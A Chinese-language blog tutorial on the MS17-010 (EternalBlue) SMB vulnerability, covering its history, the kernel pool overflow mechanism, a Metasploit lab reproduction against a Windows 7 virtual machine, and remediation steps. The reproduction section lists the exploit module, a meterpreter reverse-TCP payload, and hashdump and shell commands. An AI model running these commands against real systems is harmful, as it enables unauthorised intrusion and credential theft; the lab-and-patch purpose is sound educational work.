ms17-010

永恒之蓝和ms17-010简介:

  永恒之蓝(EternalBLUE)”是Shadow Brokers(影子经纪人)黑客组织公布的一款黑客工具,该工具利用的漏洞也被称为MS17-010漏洞,MS17-010漏洞是多个SMB漏洞的组合。

  永恒之蓝利用的漏洞是ms17-010,ms17-010是多个SMB漏洞的组合。

  MS17-010漏洞利用多个SMB远程代码执行漏洞,可在无交互的情况下获取系统最高权限。

  ms17-010:远程代码任意执行

MS17-010时间线:

  2016年8月,Shadow Brokers组织入侵方程式窃取文件,并公布部分黑客工具;并将保留文件以100万比特币价格出售,但一直没卖出去;

  2017-03-12,微软发布ms17-010补丁包;

  2017-03-14,微软发布《MS17-010:windows SMB 服务器安全更新说明》https://support.microsoft.com/zh-cn/help/4012598/title;

  2017年4月8日,Shadow Brokers公布部分保留文件的解压缩密码;

  2017年4月14日,Shadow Brokers再次公布部分保留文件解压缩密码, “EternalBLUE(永恒之蓝)”黑客工具就在其中;

  2017年5月12日,全球爆发利用永恒之蓝工具实现的勒索病毒WannaCry(初代WannaCry存在缺陷,病毒会指向一个域名,通过注册域名、改变指向等方式限制病毒传播);

  2017年5月14日,出现WannaCry2.0变种,修复初代病毒域名缺陷。

影响:

  WannaCry是一种蠕虫病毒,可自我复制、传播,无需交互可直接获取系统最高权限,传播快、影响大。对win7、win8、win10、winserver2008、winserver2012等多个版本均有影响,具体可参见下方“漏洞自查与修复”中列出的系统版本。

根据统计数据,100多个国家和地区超过10万台电脑遭到WannaCry病毒攻击。WannaCry是自熊猫烧香以来影响力最大的病毒之一。WannaCry勒索病毒全球大爆发,至少150个国家、30万名用户中招,造成损失达80亿美元,影响金融,能源,医疗、教育等众多行业。

漏洞原理:

  MS17-010利用多个SMB远程代码执行漏洞实现,利用漏洞如下:

 

漏洞标题

CVE 编号

Windows  SMB 远程代码执行漏洞

CVE-2017-0143

Windows  SMB 远程代码执行漏洞

CVE-2017-0144

Windows  SMB 远程代码执行漏洞

CVE-2017-0145

Windows  SMB 远程代码执行漏洞

CVE-2017-0146

Windows  SMB 远程代码执行漏洞

CVE-2017-0148

Windows  SMB 信息泄漏漏洞

CVE-2017-0147

MS17-010漏洞出现在Windows SMB v1中的内核态函数srv!SrvOs2FeaListToNt在处理FEA(File ExtendedAttributes)转换时,在大非分页池(内核的数据结构,LargeNon-Paged Kernel Pool)上存在缓冲区溢出。MS17-010漏洞出现在Windows SMB v1中的内核态函数srv!SrvOs2FeaListToNt在处理FEA(File ExtendedAttributes)转换时,在大非分页池(内核的数据结构,LargeNon-Paged Kernel Pool)上存在缓冲区溢出。函数srv!SrvOs2FeaListToNt在将FEA list转换成NTFEA(Windows NT FEA) list前会调用srv!SrvOs2FeaListSizeToNt去计算转换后的FEA lsit的大小。步骤如下:

①  srv!SrvOs2FeaListSizeToNt会计算FEA list的大小并更新待转换的FEA list的大小;

②  因为错误的使用强制类型转换,导致计算出来的待转换的FEA list的大小比真正的FEA list大;

③  因为原先的总大小计算错误,导致当FEAlist被转化为NTFEA list时,会在非分页池导致缓冲区溢出。

SMB:

Server Message Block,服务器消息块协议;用于在计算机间共享文件、打印机、串口等,网上邻居即通过此协议实现。SMB共享资源时有两种实现方式,通过计算机名共享和通过IP共享。通过计算机名共享时,SMB服务工作在NetBIOS协议之上,用的是TCP的139端口;使用IP地址访问时,用的是TCP的445端口。SMB是一个开放性的协议,允许了协议扩展,使该协议变得庞大,同时带来诸多安全问题。

缓冲区溢出:

    缓冲区溢出,指计算机向缓冲区写入数据时,写入的数据超过了缓冲区自身大小,使得溢出的数据覆盖了其他合法数据。缓冲区溢出攻击就是使系统执行已被覆盖的内存区域中的恶意代码。

EternalBlue 载荷功能


溢出发生在内存里的非分页池结构中的大非分页池。大非分页池没有池的头部。因此池和池之间的内存空间是紧密相联的,可以在上一个池后分配一个紧密相连的池,这个池属于驱动分配并含有驱动的数据。

因此,必须通过操纵池后被溢出的池。EternalBlue使用的技术就是控制SRVNET驱动的缓冲区结构。为了实现这一点,两个缓冲区在内存中必须是对齐的。为了实现非分页堆的对齐,可以使用内核池喷射技术。该技术细节如下:

创建多个SERNET缓冲区

释放一些缓冲区占位供SRV来拷贝

用SRV缓冲区溢出到SRVNET的缓冲区

利用机制


漏洞代码工作在内核的非分页内存中。也可以工作在大非分页池中。这些类型的池都没有在页的开始嵌入任何头部。因此需要特殊的技巧来利用这些漏洞。这些技巧需要逆向一些数据结构

http://p8.qhimg.com/t0176a22eb867bc030f.png

创建多个SRVNET缓冲区。我们在在此故意省略了一些细节,以防这项技术被滥用。

http://p0.qhimg.com/t01ef1cad58d267bdcb.jpg

 

EternalBlue 的利用链


EternalBlue经过一系列的过程完成最终的利用,我们将展示这些过程。

EternalBlue首先发送一个SRV buffer除了最后一个数据包。这是因为大非分页池将在会话中最后一个数据包被服务端接收的时候被建立。SMB服务器会把会话中接受到的数据读取并叠加起来放入输入缓冲区中。所有的数据会在TRANS包中被标明。当接收到所有的数据后SMB服务器将会处理这些数据。数据通过CIFS(Common Internet File System)会被分发到SrvOpen2函数中来读取。

EternalBlue发送的所有数据会被SMB服务器收到后,SMB服务器会发送SMB ECHO包。因为攻击可以在网速很慢的情况下实现,所以SMB ECHO是很重要的。

在我们的分析中,即使我们发送了初始数据,存在漏洞的缓冲区仍然没有被分配在内存中。

  1.FreeHole_A: EternalBlue通过发送SMB v1数据包来完成占位

  2.SMBv2_1n: 发送一组SMB v2数据包

  3.FreeHole_B: 发送另一个占位数据包;必须确保第一个占位的FreeHole_A被释放之前,这块内存被分配

  4.FreeHole_A_CLOSE: 关闭连接,使得第一个占位的内存空间被释放

  5.SMBv2_2n: 发送一组SMB v2数据包

  6.FreeHole_B_CLOSE: 关闭连接来释放缓冲区

  7.FINAL_Vulnerable_Buffer: 发送最后的数据包,这个数据包将会被存储在有漏洞的缓冲区中

有漏洞的缓冲区(之前SRVNET创建的)被填入的数据将会覆盖和部分SRVNET的缓冲区。在FEA list转换到NTFEA list时会发生错误,因为FEA结构会在覆盖SRVNET缓冲区之后失效,所以服务器将以STATUS_INVALID_PARAMETER(0xC000000D)返回。

ms17-010漏洞复现

ms17-010复现前提:win7可以和kali进行通信,ping通,安装了虚拟机VM,在VM中安装了win7和kali,防火墙处于关闭状态

第零步,看win7和kali之间是否可以进行通信(ping 通),命令是ping 192.168.80.130,实操如下:

查看win7中是否包含445端口,查看win7中开启了哪些端口,命令是netstat -a,实操如下:

查看端口的网络连接情况,命令是 netstat -n,实操如下:

第一步:看ip地址

  攻击机的ip地址(kali的ip地址):192.168.80.130

  靶机的ip地址(win7/x64的ip地址):192.168.80.131

  如何知道ip地址:

  在kali中查看ip地址,命令是ifconfig,实操如下:

 在win7中查看ip地址,命令是ipconfig,实操如下:

第二步,对kali的权限进行提权,提升至root权限,命令是sudo su,实操如下:

第三步,利用nmap工具发现主机,命令是nmap -sP xxxx/xx(网络地址/子网掩码),实操如下:

 第4步,对靶机进行扫描,看是否开启了445端口,命令是nmap xxxx(靶机的ip地址),实操如下

第五步,进入msfconsole(控制台),命令就是msfconsole,实操如下

 

它这个每一次的图片都不是一样的,对后续的操作无影响

若后续想对msfconsole进行操作,可以查看msfconsole的帮助信息,命令是msfconsole(可以输入msf,利用TAB补全)  -h,实操如下:

我们可以使用msfconsole -q进入安静模式,使用-q选项可以不提示banner信息进入安静模式,实操如下:

 第六步、在msf模式下找到ms17-010漏洞,命令是search ms17-010,实操如下:

 第七步,我们在ms17-010漏洞中所使用的的模块是exploit/windows/ smb/ms17_ 010 eternalblue,我们要使用这个模块,命令是use  exploit/windows/ smb/ms17_ 010 eternalblue,实操如下:

第八步,看exploit/windows/ smb/ms17_ 010 eternalblue模块所使用的的参数,命令是 show options,实操如下:
 

如图所示,可以看见他所需要的的配置,yes是必须要进行配置的,no可以选配

第九步,配置rhosts(攻击目标,靶机的ip地址),命令是set rhosts 192.168.80.131,实操如下:

第十步,配置payload(攻击成功后所使用的命令),命令是set payload windows/x64/meterpreter/reverse_tcp,实操如下:

第十一步,再次查看exploit/windows/ smb/ms17_ 010 eternalblue模块所使用的的参数,命令是 show options,实操如下:

第十二步,执行exploit,命令是exploit   or  run  ,这里我所使用的命令是run,实操如下:

第十三步,使用getuid命令(geteuid()用来取得执行目前进程有效的用户识别码。有效的用户识别码用来决定进程执行的权限,借由此改变此值,进程可以获得额外的权限。),实操如下:

第十四步,使用hashdump命令,导出本地的 hash,实操如下:

第十五步,进入到win7的shell(cmd命令行界面),命令是shell,实操如下:

 修复ms17-010漏洞方法:
  1、关闭445端口:

    方法1:使用命令行界面:

      1、运行cmd界面(管理员权限),也可以是win+r

      

      2、安装顺序执行以下2条命令:

        netsh advfirewall set allprofile state on
        netsh advfirewall firewall add rule name=deny445 dir=in action= block protocol=TCP localport= "X"
        这里的X代表端口号,只需要把X换成需要关闭的端口号即可,不要带引号,实操如下:
        

     方法2:使用防火墙的高级配置:

    1、打开控制台界面,控制面板,实操如下:

              

    2、打开系统和安全界面,实操如下:

                   

    3、打开windows防火墙,实操如下:

               

              4、选择高级设置,实操如下:

             

              5、选择入站规则,新建规则,实操如下:

             

     6、选择端口,实操如下:

             

     7、将特定本地端口改为445,实操如下:

             

     8、选择阻止连接,实操如下:

            

    9、选择下一步,下一步,写上这个新建规则的名称即可完成操作,关闭445端口操作完成

    方法3:使用注册表:

      1. 打开注册表(键盘 按 win+r,输入regedit ,点击回车)

                    

    2. 找到HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\NetBT\Parameters    或    HKEY_LOCAL_MACHINE\SYSTEM\ControlSet\services\NetBT\Parameter    这个目录。

      鼠标放在Parameter 文件夹上右键,

      选择新建->Dword(如果你是32位电脑)

      选择新建->Qword(如果你是64位电脑)

                       

       3. 命名为“SMBDeviceEnabled”,并将数值数据修改为0即可。

                      

      4. 最后,回到桌面,点击win+ R, 输入cmd, 点击回车。

      5. 输入 netstat –an, 点击回车 (也就是 查询网络状态,net status 的意思)

      6. 看看TCP协议下 445端口的姿态是不是在Listening。如果找不到,说明成功了。(比445小的端口和比445 大的端口之间的端口中,找不到445 端口即可)

      7.运行“services.msc”打开服务界面,找到server服务,右键属性,启动类型选“禁用”,服务状态选“停止”,然后应用。这个时候再重启,445端口就不在listening了。

  2、改防火墙:将关闭的防火墙打开

  3、更改出入站过程:操作过程和关闭445端口的方法2一致

  4、禁用smb(禁用smbv1服务)协议:

      方法1:

      1、按下【win+R】打开运行,输入:regedit  点击确定打开注册表;

      2、在注册表左侧依次展开:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters ;

      3、在Parameters 上单击右键,选择【新建】-【DWORD(32位)值】,将其命名为:SMB1  即可。


      

      方法二:禁用SMBv1 客户端

      1、同样先打开注册表,依次展开:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\mrxsmb10

      2、在mrxsmb10上单击右键,选择【新建】-【DWORD(32位)值】,将其命名为:Start  ,双击打开Start  ,将数值数据修改为 4 ;

      3、接着在注册表中展开:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanWorkstation;

      4、在LanmanWorkstation上单击右键,选择【新建】-【字符串值】,将其命名为 DependOnService ;

      

      5、双击打开DependOnService ,在数值数据中填入:“Bowser”,”MRxSmb20″,”NSI” 点击确定保存即可。

      通过以上方法即可顺利禁用win7系统中的smbv1协议

  5、更新windows,打补丁:

  

 如果进行了如上的操作,那么运行结果的实例图是:

 PS:利用该漏洞获得的权限都是system

posted @ 2021-01-07 14:41  w1hg  阅读(786)  评论(0编辑  收藏  举报